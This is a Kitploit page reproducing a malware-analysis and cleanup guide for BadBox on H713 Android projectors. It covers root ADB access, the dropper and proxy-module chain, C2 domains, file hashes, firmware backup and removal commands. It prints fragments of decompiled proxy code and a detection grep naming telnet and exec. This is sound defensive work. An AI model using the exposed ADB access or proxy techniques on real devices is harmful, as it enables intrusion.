Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
badbox-h713-projector — Guida all'analisi e alla pulizia del malware BadBox sui proiettori Android Allwinner H713: accesso ADB, prova dell'infezione, backup del firmware, rimozione del dropper e verifica. | Kitploit
Strumenti/GitHubGitHub/florentineprinzessinzusachsen/badbox-h713-projector
Sicurezza AndroidSicurezza Sistemi EmbeddedSicurezza IoTReverse EngineeringRaccolta InformazioniAnalisi MalwareDigital ForensicsSicurezza MobileSicurezza Hardware e IoT

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Risposta agli Incidenti
Analisi del Firmware
GitHubflorentineprinzessinzusachsen/badbox-h713-projector

badbox-h713-projector

Guida all'analisi e alla pulizia del malware BadBox sui proiettori Android Allwinner H713: accesso ADB, prova dell'infezione, backup del firmware, rimozione del dropper e verifica.

Vedi Repository
1171 giorno faNon ancora revisionato

Wielo / Atongmu Malware Projector: analisi e pulizia di BadBox (AT-M269 / H713)

26 set 2026 · @R

Un proiettore Android economico (Wielo / Atongmu AT-M269, Allwinner H713) viene fornito con un dropper a livello di sistema che lo trasforma in un nodo proxy residenziale. Questo documento mostra come accedervi senza aprire il case, dimostrare l'infezione, eseguire il backup del firmware, rimuovere il malware e verificare il risultato.

1. Dispositivo

Proiettore LCD senza marca venduto con marchi che cambiano. La scheda e il firmware sono condivisi tra molti proiettori H713 (cloni HY300 e altri), quindi tutto quanto segue si applica più ampiamente.

ProprietàValore
Venduto comeWielo Smart Projector, modello AT-M269 (FCC ID 2BAAR-AT-M269D)
ProduttoreShenzhen Atongmu Technology; firmware e app dall'OEM "ASHD"
Revisione hardwarepersist.sys.cm.hardversion = AT-M269_720P_HP_202410221430
SoCAllwinner H713M (ro.boot.hardware = sun50iw12p1), quad Cortex-A53; scheda exdroid, piattaforma ares
RAM / storage1 GB DDR @ 576 MHz / 8 GB eMMC (7.818.182.656 byte)
Wi-Fi / BluetoothAIC8800 (aic8800d80, driver rwnx 6.4.3.0)
KernelLinux 5.4.99, 32-bit (armv7l), compilato l'8 dic 2025
Build realeh713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, firmware H713M-android11-v1.0, host di build ishang-PC
OSAndroid 11 (SDK 30), build user, patch di sicurezza 2022-02-05
MascheramentoSi dichiara come Google ADT-3 (brand/model/device, produttore askey); modello reale in ro.product.model2 = AT-M269
Partizioni / bootA/B virtuale, slot attivo _b, partizioni dinamiche (retrofit) in super; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate vuoto; sblocco OEM non consentito; /system pieno al 100%
Sicurezzaro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB su tcp/5868, SELinux permissive, permessi privapp permissive, chiavi di test AOSP
Impostazioni predefinite regioneFuso orario Asia/Shanghai, area DTV cn / DTMB

Read the identity yourself

adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build

root@kitploit:~
## 2. Accesso

ADB è in ascolto sulla rete, su una porta non standard, senza richiesta di autorizzazione e con privilegi di root.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
#   5868/tcp open   <- nmap guesses "diameters"; it is actually adbd

# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port   # 5868
getprop ro.adb.secure          # 0    -> no "allow debugging?" prompt
getprop init.svc.adbd          # running

# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id                   # uid=0(root)

Spegnere la lampada mentre si lavora tramite ADB```

adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected

when done

adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock

root@kitploit:~
`/sys/class/backlight/tv` > `brightness`/`bl_power` non hanno alcun effetto.

## 3. Catena di infezione

Due app di sistema preinstallate vengono eseguite come utente system (UID 1000). Una scarica un loader, il loader scarica quattro moduli proxy e un secondo loader indipendente.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp          /system/priv-app/AshdSysApp
│    OTA updater, can replace the whole firmware (update.zip / payload.bin)
│    C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
     Dropper; Umeng + Baidu tracking
     └─ downloads cache/plugin.jar       (DEX, from *.ishanghd.com)
          ├─ app installer: pulls app lists per device profile, pm install -r
          │    └─ installs Disney+ etc. and com.google.adtest (payload)
          └─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
               └─ 4 encrypted modules  code_cache/.hs/.file/.rf/*.rf
                    SKN0041 com.ad.proxy   SKN0054 com.szns.sdk
                    SKN0058 com.link.core  SKN0061 ddth2 (VpsSdk)
                    -> all four: residential proxy clients

com.google.adtest (/data/app, installed by yiyou)
     Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
     Native plugin loader, may install/delete packages -> backup channel

> il traffico internet di estranei instradato attraverso la tua connessione, e il tuo dispositivo viene tracciato (seriale, MAC, SSID/BSSID Wi-Fi).

4. Prova di infezione a livello di fabbrica

a) Traffico di tipo proxy: un processo, molte connessioni esterne```bash

adb shell "netstat -tnp | grep ESTABLISHED"

tcp6 ... ::ffff:43.116.39.73:188 ESTABLISHED 4795/com.android.umanalytics.yiyou

tcp6 ... ::ffff:198.44.189.x:9200 ESTABLISHED 4795/com.android.umanalytics.yiyou

... ~25 lines, same process, many IPs, odd ports

-> an "analytics" app does not hold 25 parallel sessions: this is a proxy node

root@kitploit:~
### **b) Chi ha installato cosa**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest       installer=com.android.umanalytics.yiyou  <- payload
# package:com.disney.disneyplus   installer=com.android.umanalytics.yiyou  <- cover
#  -> a system "analytics" app installing packages = dropper

adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
#  fake Google name, lives in /data/app, installed silently

c) File payload nella cartella dati del dropper```bash

adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'

cache/plugin.jar <- downloaded loader (DEX)

code_cache/.hs/.file/.rf/-1.dex_assdk_huang_SKN00xx.rf <- 4 encrypted modules

files/apps/com.google.adtest.apk <- stored payload for reinstall

directories are chmod 777

root@kitploit:~
### **d) Configurazione a livello di sistema**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system  -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon  user root

e) Il malware è stato eseguito il giorno della build in fabbrica

Il malware è integrato direttamente nel firmware. La data di build è eng.work3.20251208.154308, il kernel è stato compilato Mon Dec 8 15:27:38 CST 2025. I registri di yiyou mostrano che era in esecuzione lo stesso giorno:```

baidu_mtj_sdk_record.xml (yiyou data)

session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]

first recorded run = 8 Dec 2025, the day the firmware was built

ua.db (yiyou's Umeng session table), timestamps column __f

1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build

root@kitploit:~
### **f) Malware nell'immagine di sistema firmata dal fornitore e in sola lettura**

Un utente o un'app successiva non può inserire file in `/system`. Fa parte di `super`, protetto da dm-verity e firmato tramite `vbmeta`.

## 5. Panoramica dell'architettura del malware

### 5.1. Componenti principali

| Componente                        | Posizione                    | Cosa fa                                                                                                          |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`   | `/system/app`, UID 1000      | Scarica ed esegue `plugin.jar`; invia seriale, MAC, android_id, Wi-Fi SSID/BSSID, MAC Bluetooth a Umeng/Baidu |
| `plugin.jar` (DEX)                | `cache/` di yiyou            | Due parti: installer di app (liste di app per dispositivo, oltre 40 profili per H713/RK3326/HY300) e il loader di attività "hs" |
| Loader di attività "hs"           | all'interno di `plugin.jar`  | Interroga il C2 ogni 6 h per attività di tipo `jar`, `dex` o `apk`; scarica, verifica l'MD5, esegue           |
| SKN0041 `com.ad.proxy`            | modulo `.rf`                 | Tunnelling TCP/UDP/ICMP, heartbeat, sign-in/report                                                              |
| SKN0054 `com.szns.sdk`            | modulo `.rf`                 | Nodo proxy più scansione UDP dalla tua rete                                                                     |
| SKN0058 `com.link.core`           | modulo `.rf`                 | Client proxy con i propri resolver DNS                                                                          |
| SKN0061 `ddth2` / VpsSdk          | modulo `.rf`                 | Gateway proxy, molte istanze client parallele                                                                   |
| `com.google.adtest` ("com.speed") | `/data/app`                  | Secondo loader con loader di plugin nativo; installa/elimina pacchetti; si riavvia all'avvio, su eventi di rete, HDMI, alimentazione |
| `com.android.sysapp`              | `/system/priv-app`, UID 1000 | Aggiornamento OTA: può scaricare e flashare un'immagine firmware completa                                       |
| File Widevine                     | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` rilascia un bundle di chiavi/licenze DRM così le app di streaming funzionano sul dispositivo non certificato |

### 5.2. Come i componenti rimangono nascosti```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
#   decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
#   -> router DNS blocking alone misses it
# .rf module layout (per file):
#   [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
#   invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
#   module     = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.

5.3. Quali dati di tracciamento vengono inviati```

shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061

root@kitploit:~
### 5.4. Movimento laterale

**Nessun movimento laterale automatico, ma una porta d'accesso verso la LAN**

> Ma **SKN0041** e **SKN0058** inoltrano verso qualsiasi destinazione indicata dal gateway, e SKN0041 può anche eseguire il ping su comando. Chiunque noleggi il proxy può raggiungere o sondare la LAN manualmente.

- `plugin.jar`
- moduli `.rf` decifrati SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- nativi: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
root@kitploit:~
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")

// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through

// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()

// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);

// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));

root@kitploit:~
Il set completo di comandi di SKN0041, dalla tabella di dispatch in `com/ad/proxy/b/a0.java`:

| Opcode | Handler    | Fa                                                                                 |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2  | U / V      | richiesta / risposta heartbeat                                                     |
| 3      | W          | apre una connessione TCP raw verso un host:porta fornito dall'operatore, nessun controllo dell'indirizzo |
| 5 / 7  | X / Y      | invio / chiusura tcp su una transazione aperta                                     |
| 8      | Z          | apre una sessione UDP raw verso un host:porta fornito dall'operatore, nessun controllo dell'indirizzo |
| 11     | K          | chiusura udp                                                                       |
| 12     | L → P.java | esegue `ping -c 10 <host>` su un host fornito dall'operatore, ritrasmette l'output completo |
| 14     | M → Q.java | recupera un URL fornito dall'operatore, nessun controllo                           |

Nessuno di questi opcode filtra per intervallo IP.

Il server di re-streaming video `plugin.jar` (`com.cloudmedia.tv.server.d`, un fork di NanoHTTPD che serve riscritture di stream Aiqiyi/Youku/CIBN) si associa senza host impostato, ovvero tutte le interfacce, raggiungibile dalla LAN, non solo localhost, se si avvia. Il suo unico punto di ingresso è `ParserUtils.AnalyticsHelper()`, dietro `getprop ro.board.platform == "rk3188"`. Questa unità riporta `ares` (H713), quindi il gate resta chiuso.

Stato del dispositivo live: `netstat -tnp` mostra solo screen-cast su loopback (`com.android.toofifi` su `127.0.0.1:5354`), GMS verso Google su IPv6, e la sessione ADB. Nessun processo `yiyou`, `sysapp`, `speed`, `umanalytics` o `adtest` in esecuzione.

L'interfaccia Binder di `systemmixservice` (lettura/scrittura/cancellazione arbitraria di file e property-set come root, raggiungibile da qualsiasi app sul dispositivo) è una privilege-escalation locale. Rimuovere il dropper e non installare APK non attendibili la chiude.

## 6. Indicatori

Gli indicatori di rete (domini, URL, IP) sono nella [sezione 11](#11-consolidated-hosturl-list-for-abuse-reports).

### 6.1. Pacchetti

| Pacchetto                                                       | Posizione                                               | Ruolo                                                            |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`                                 | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper                                                          |
| `com.android.sysapp` (AshdSysApp)                               | `/system/priv-app/AshdSysApp`, UID 1000 (system)        | backdoor del canale OTA                                          |
| `com.google.adtest` (nome reale `com.fotas.wanapp`, "com.speed") | `/data/app`                                             | secondo loader                                                   |
| `com.cloudmedia.testapk`                                        | `/system/app`                                           | app di test di fabbrica OEM, rimossa insieme al dropper nella sezione 8 |
| `com.disney.disneyplus`                                         | `/data/app`                                             | app di copertura installata dal dropper                          |
| `com.android.nfx`                                               | `/system/priv-app/NFXAccessibility`                     | mantenuta, innocua (helper per telecomando Netflix)              |

### 6.2.Binari

| Binario                                                                            | Servizio init                                                                         | Cosa fa                                                                                                                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw`                                                                   | **`qw`**: `class core`, `user root`, in esecuzione permanente dal boot                 | Daemon su Superuser/ClockworkMod (apre i socket `/dev/com.koushikdutta.superuser` + `.daemon`).                                                                                                                                                                                               |
| `/system/bin/appsdisable`                                                          | **`appsdisable`**: attivato `on property:sys.boot_completed=1`, `disabled`+`oneshot` | Dopo 4 s di sleep al boot (`settings ... global start_disable`), trova ogni pacchetto installato con un receiver `BOOT_COMPLETED` il cui componente inizia con `com.google.android` e lo `pm disable` per uccidere i controlli di boot di Google come la scansione di Play Protect e i servizi core di GMS. |
| `/system/bin/gmsopt`                                                               | **`gmsopt`**: stesso trigger e flag di appsdisable                                   | Stesso comportamento di disabilitazione dei receiver di boot di Google di appsdisable ma escludendo `com.google.android.permissioncontroller`. Ridondante.                                                                                                                                                                |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot`                                 | Nativo OEM? Scopo non del tutto determinato ma è nel gruppo root.                                                                                                                                                                                                                                   |

### 6.3. File e directory

| Percorso                                                                                                                                                                      | Cosa                                                     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar`                                                                                                                   | loader "hs" / DEX di installazione app scaricato         |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf`                                                                                                      | moduli proxy cifrati (SKN0041/54/58/61)                  |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk`                                                                                                   | copia del payload memorizzata per reinstallazione silenziosa |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so`                                                                                                                   | libreria nativa helper per l'ID del dispositivo          |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db`                                                                                                                    | DB delle sessioni Umeng                                  |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | preferenze di tracciamento/configurazione                |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml`                                                                                                                        | preferenze dello stato di download OTA                   |
| `/data/mediadrm/IDM1013/L3/`                                                                                                                                                  | bundle DRM Widevine L3 rilasciato                        |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*`                                                                                                                                | spazio temporaneo/avanzato usato dal loader e dal client OTA |

### 6.4. Hash dei campioni

| Campione                        | SHA-256                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar`                    | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (decifrato)             | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (decifrato)             | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (decifrato)             | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (decifrato)             | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk`         | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk`    | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk`                | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (bundle Widevine)      | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (config SKN0054) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |

## 7. Backup

Nessun firmware per questo modello sembra essere pubblicato, e anche il server OTA del produttore reverse engineered non restituisce nulla.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*'      # eMMC boot areas, dump them too if present

Tramite Wi-Fi, usa gli script di supporto

  1. dump-pull.sh [ip:port|usb] [file] estrae a blocchi da 256 MB con un controllo di dimensione e tentativi ripetuti. Rieseguendolo, riprende dall'ultimo blocco completo. Prima della lettura, rimonta /data con background_gc=off,nodiscard, esegue il sync e attende 10 s. Tramite USB esegue anche adb shell stop. Entrambe le operazioni vengono annullate all'uscita (rimontaggio con background_gc=on,discard, start). UDISK è /data e rimane attivo, quindi il suo hash può ancora variare da un'esecuzione all'altra.
  2. dump-verify.sh [ip:port|usb] [file] [-y] controlla la dimensione, le intestazioni GPT, le aree di boot e ogni partizione (SHA-256 del dispositivo vs. lo stesso intervallo di byte nell'immagine). Legge e corregge qualsiasi sezione non corrispondente. In caso di esito positivo, scrive mmcblk0.img.sha256.```

What the partition check does, per partition

p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image

userdata, metadata, misc change while Android runs: a mismatch there is expected

root@kitploit:~
### Ripristino del percorso

Entra in Allwinner FEL, poi esegui il flash con PhoenixUSBPro tramite un cavo USB-A a USB-A.

Non esiste un pinhole esterno per avviarsi in FEL: `adb reboot efex` o `fastboot oem efex`.

Possibile fallback hardware: il pad FEL sulla scheda, visibile nelle foto interne FCC (richiede l'apertura della custodia). Il flashing richiede un `update.img` IMAGEWTY, creato dal tuo dump con `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) e un template H713.

FEL è solo scrittura. PhoenixSuit e PhoenixUSBPro non possono rileggere la eMMC, e `sunxi-fel` non ha un layout SRAM per l'H713, funzionano solo i comandi di sola lettura ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).

Il dump ADB sopra rimane il metodo di backup.

### **Modalità di avvio**

L'unità è A/B (`ro.build.ab_update=true`) con slot `_b` attivo. Non esiste una partizione `recovery`: il recovery risiede nel ramdisk di boot. La console seriale U-Boot è `ttyS0` a 115200 baud.

| Modalità        | Come entrarci                                                                                                | Livello               | Stato                                                                                       |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android         | accensione normale, `adb reboot`                                                                             | kernel                | funziona                                                                                    |
| Recovery        | `adb reboot recovery`                                                                                        | ramdisk di boot       | funziona, menu sotto                                                                        |
| fastbootd       | menu recovery: Enter fastboot                                                                                | userspace in recovery | entra                                                                                       |
| U-Boot fastboot | menu recovery: Reboot to bootloader, o `adb reboot bootloader`                                               | U-Boot                | funziona (macOS necessita della correzione sotto)                                           |
| U-Boot efex     | `fastboot oem efex` da U-Boot fastboot, o `adb reboot efex` (U-Boot ha anche un trigger remoto `ir-efex`)    | U-Boot                | funziona via `fastboot oem efex` e via `adb reboot efex`: `1f3a:efe8`, l'handshake FEL risponde |
| BootROM FEL     | pad di test FEL                                                                                              | SoC BootROM           | non testato                                                                                 |

### **Menu recovery:**

- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off

### **ADB su USB**

la presa che accetta USB0 (`ohci0`) funziona come host per impostazione predefinita. Passa in modalità device fino al riavvio successivo con:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id

U-Boot fastboot non rilevato

il gadget appare come 1f3a:1010 ("USB Developer"), e la sua interfaccia è il fastboot standard ff/42/03. La sua classe di dispositivo è però ff, quindi il sistema operativo (macOS in questo caso) sembra non configurare una configurazione e fastboot devices rimane vuoto.

Se questo accade, la soluzione è impostare la configurazione una volta con pyusb, poi usare fastboot normalmente:```

one-time setup

brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb

each time the projector is in U-Boot fastboot

source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices

root@kitploit:~
### **FEL/efex**

Dal fastboot di U-Boot, `fastboot oem efex` passa al gadget efex `1f3a:efe8`. (Potrebbe necessitare della stessa correzione `set_configuration()`)

**Sunxi-tools build dai sorgenti**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/   # optional, else call ./sunxi-fel

# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version

AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
Usa solo version e --list, mai spl, uboot, write o exe poiché gli strumenti sunxi non conoscono il chipset.

Per uscire da FEL, scollega prima l'USB, poi spegni finché il led blu sul proiettore non si spegne. wdreset non funziona senza i dati del SoC.

8. Pulizia

8.1. Backup delle prove```

mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt

APKs of the suspicious apps

adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk

Complete app data incl. hidden folders (plugin.jar, .rf modules, prefs)

adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS

root@kitploit:~
### 8.2. Rimozione```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
  adb shell am force-stop $p
  adb shell pm disable-user --user 0 $p
  adb shell pm clear $p
done

adb shell pm uninstall com.google.adtest

# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus

# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'

adb reboot

Mantenuti, probabilmente innocui:

  • qw (demone su, rimovibile solo modificando /system, raggiungibile solo localmente)
  • app OEM innocue: appsdisable, gmsopt, systemmixservice
  • com.android.nfx (helper per il telecomando Netflix)

Controllo anti-manomissione

La disinstallazione di yiyou rompe le Impostazioni. Il metodo checkSHA1() di com.ashd.settings ha due controlli:

  1. Il certificato di firma delle Impostazioni stesso, che richiede una corrispondenza con uno di cinque SHA1 hardcoded (CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)
  2. Verifica se com.android.umanalytics.yiyou, (o com.android.umanalytics.kege, probabilmente il nome del dropper su altre build del firmware), è registrato per l'utente 0.

Entrambi i percorsi di errore registrano 签名校验失败,关闭应用 ("verifica della firma fallita, chiusura dell'app"). Disinstallare completamente yiyou (invece di disabilitarlo soltanto, come sopra) attiva questo controllo. adb shell pm install-existing com.android.umanalytics.yiyou ripristina la registrazione senza riabilitarlo.

8.3. Conferma```

adb connect 10.56.215.10:5868

adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"

expect: only adbd to your computer (plus Google services, if allowed)

red flag: any process with several connections to public IPs

adb shell pm list packages -3 -i # new apps? check their installer

root@kitploit:~
**Risultati su questa unità dopo la pulizia e il riavvio:**```
adb shell "netstat -tnp"
# tcp   127.0.0.1:52992  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi  <- local screen-cast service
# tcp   127.0.0.1:52994  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi
# tcp6  10.56.215.10:5868  <your computer>  ESTABLISHED 5332/adbd              <- your ADB session
#  -> no outbound connections left (before: ~25 from yiyou)

Ripeti il controllo netstat dopo 24 ore (il loader effettua il check-in ogni 6 ore) e cerca le corrispondenze nella blocklist dall'IP del proiettore nei tuoi log DNS e del firewall.

8.4. Limiti

  • Un ripristino di fabbrica riporta yiyou & sysapp. Riesegui la sezione 8 prima dell'accesso alla rete.
  • Rimontare /system in lettura-scrittura per eliminare gli APK non è consigliato: vbmeta è bloccato, /system è pieno al 100%, quindi adb disable-verity + adb remount creerebbe un overlay in /data (perso al ripristino di fabbrica, come pm uninstall --user 0) con il rischio di un fallimento del boot.
  • Quindi la rimozione permanente significa eliminare gli APK da super nel tuo dump e flasharlo tramite FEL. Non testato.``` adb shell getprop ro.boot.vbmeta.device_state # locked adb shell getprop ro.boot.verifiedbootstate # (empty) adb shell df -h /system # 1.1G 1.1G 3.4M 100%
root@kitploit:~
### 8.5. Bloatware```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
